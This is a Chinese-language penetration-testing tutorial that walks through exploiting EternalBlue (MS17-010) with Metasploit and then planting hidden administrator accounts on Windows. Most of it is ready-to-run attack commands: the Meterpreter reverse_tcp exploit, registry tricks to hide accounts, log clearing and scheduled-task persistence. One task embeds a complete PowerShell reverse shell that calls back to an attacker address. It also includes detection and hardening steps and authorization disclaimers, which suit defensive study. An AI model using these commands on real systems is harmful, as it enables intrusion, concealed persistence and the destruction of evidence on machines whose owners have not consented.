1. 永恒之蓝漏洞与影子用户测试概述
永恒之蓝(EternalBlue)是2017年由Shadow Brokers泄露的NSA网络武器库中的一个漏洞利用工具,它针对的是微软Windows操作系统SMB协议(Server Message Block)中的远程代码执行漏洞(MS17-010)。这个漏洞允许攻击者通过特制的SMB数据包在目标系统上执行任意代码,无需用户交互即可完成入侵。
影子用户(Shadow User)是指那些在Windows系统中存在但不显示在常规用户管理界面中的隐藏账户。这类账户通常被攻击者用于维持持久性访问,因为它们:
- 不会在"控制面板-用户账户"中显示
- 可能绕过常规审计工具的检测
- 可以通过注册表或特殊命令创建和管理
在实际渗透测试中,结合永恒之蓝漏洞创建影子用户是一种经典的权限维持技术。攻击链通常为:
- 利用永恒蓝漏洞获取系统权限
- 创建隐藏的管理员账户
- 清除入侵痕迹
- 通过影子账户长期控制目标系统
重要提示:本文所有技术内容仅限授权测试使用,未经许可对他人系统实施攻击属于违法行为。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 测试环境搭建与工具准备
2.1 基础环境配置
进行永恒之蓝漏洞测试需要准备以下环境:
- 攻击机:推荐使用Kali Linux 2023.x或更新版本
- 预装Metasploit Framework(msfconsole)
- 确保能访问目标网络(建议使用桥接模式)
- 靶机:Windows Server 2003 SP2(最易受攻击版本)
- 关闭Windows防火墙
- 确保SMB服务开启(默认端口445)
- 不要安装MS17-010补丁
网络拓扑建议:
code复制[Kali攻击机] ---(同一局域网)---> [Windows 2003靶机]
2.2 关键工具安装与验证
在Kali中需要确认以下工具可用:
bash复制# 检查Metasploit版本
msfconsole --version
# 安装可能缺失的依赖
sudo apt update && sudo apt install -y exploitdb nmap
验证永恒之蓝漏洞利用模块是否存在:
bash复制msfconsole
msf6 > search eternalblue
应能看到名为"exploit/windows/smb/ms17_010_eternalblue"的模块。
2.3 靶机环境检查
在Windows 2003靶机上执行以下检查:
- 打开命令提示符,运行:
cmd复制应能看到445端口处于LISTENING状态netstat -ano | find "445" - 检查补丁安装情况:
cmd复制如果无输出表示系统未打补丁,存在漏洞systeminfo | find "KB4012598"
3. 漏洞利用与影子用户创建实战
3.1 永恒之蓝漏洞利用步骤
在Kali中执行完整攻击流程:
bash复制msfconsole
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100 # 替换为靶机IP
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50 # 替换为Kali IP
msf6 exploit(ms17_010_eternalblue) > exploit
成功利用后会出现meterpreter会话,执行以下命令验证权限:
bash复制meterpreter > getuid
应显示"NT AUTHORITY\SYSTEM"表示已获取最高权限。
3.2 创建影子用户的技术实现
方法一:通过注册表创建隐藏账户
bash复制meterpreter > shell
C:\> net user shadowuser Password123 /add
C:\> net localgroup administrators shadowuser /add
# 隐藏账户关键步骤
C:\> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v shadowuser /t REG_DWORD /d 0 /f
方法二:克隆现有管理员账户
bash复制meterpreter > incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > shell
C:\> reg save HKLM\SAM sam.save
C:\> reg save HKLM\SYSTEM system.save
# 使用mimikatz等工具离线修改SAM数据库...
方法三:创建服务型隐藏账户
bash复制C:\> sc create svcuser binPath= "net user svcuser Password123 /add && net localgroup administrators svcuser /add" start= auto
C:\> sc start svcuser
3.3 痕迹清理与持久化
完成用户创建后需要清理日志:
bash复制meterpreter > clearev
设置计划任务实现持久化:
bash复制C:\> schtasks /create /tn "SystemUpdate" /tr "cmd.exe /c net user shadowuser Password123" /sc hourly /ru SYSTEM
4. 检测与防御方案
4.1 影子用户检测技术
管理员可以使用以下方法检测隐藏账户:
PowerShell检测脚本
powershell复制# 检查注册表隐藏项
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'
# 对比SAM数据库与用户列表
$regUsers = Get-LocalUser
$samUsers = Get-ChildItem 'HKLM:\SAM\SAM\Domains\Account\Users\Names' | Select-Object Name
Compare-Object $regUsers.Name $samUsers.Name
使用专业工具
- Microsoft Autoruns
- Sysinternals Suite
- CrowdStrike Falcon Overwatch
4.2 永恒之蓝漏洞防御
根本解决方案:
- 立即安装MS17-010补丁
- 禁用SMBv1协议:
powershell复制Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol - 网络层防护:
- 防火墙阻止445端口入站
- 使用IDS/IPS检测异常SMB流量
4.3 企业级防护建议
对于企业环境还应:
- 实施最小权限原则
- 启用LSA保护:
powershell复制New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWORD -Force - 配置Windows Defender攻击面减少规则:
powershell复制Set-MpPreference -AttackSurfaceReductionRules_Ids 3B576869-A4EC-4529-8536-B80A7769E899 -AttackSurfaceReductionRules_Actions Enabled
5. 测试中的常见问题与解决
5.1 永恒之蓝利用失败排查
常见错误及解决方案:
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| Exploit completed but no session | 靶机补丁已安装 | 使用未打补丁的系统 |
| Connection reset by peer | 防火墙拦截 | 关闭靶机防火墙 |
| SMB session setup failed | SMB服务未运行 | 确保靶机开启Server服务 |
5.2 影子用户创建问题
常见创建失败场景:
- 注册表路径不存在:
bash复制# 先创建必要的注册表项 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts" /v UserList /t REG_DWORD /d 0 /f - 账户仍可见:
- 检查是否使用了正确的注册表路径
- 确认没有其他组策略强制显示用户
5.3 后渗透阶段问题
meterpreter会话丢失后的恢复:
- 使用持久化后门重新连接
- 通过计划任务启动新的监听器:
bash复制schtasks /create /tn "Backdoor" /tr "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.1.50',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" /sc minute /mo 1 /ru SYSTEM
6. 法律合规与测试建议
6.1 授权测试的必要性
任何渗透测试必须:
- 获得系统所有者的书面授权
- 明确测试范围和规则
- 制定应急响应预案
- 测试后完整报告并协助修复
6.2 企业安全测试框架
建议遵循:
- PTES渗透测试执行标准
- OWASP测试指南
- NIST SP 800-115
6.3 个人学习建议
对于安全学习者:
- 使用虚拟化环境(VMware/VirtualBox)
- 建立隔离的测试网络
- 记录所有操作步骤和结果
- 学习后彻底销毁测试环境
在测试过程中,我强烈建议使用快照功能随时保存状态。对于Windows 2003这样的老系统,经常会遇到利用成功后系统不稳定的情况。一个实用的技巧是:在meterpreter会话建立后立即执行"migrate"命令将进程迁移到更稳定的系统进程(如explorer.exe)中,这能显著降低会话意外终止的概率。
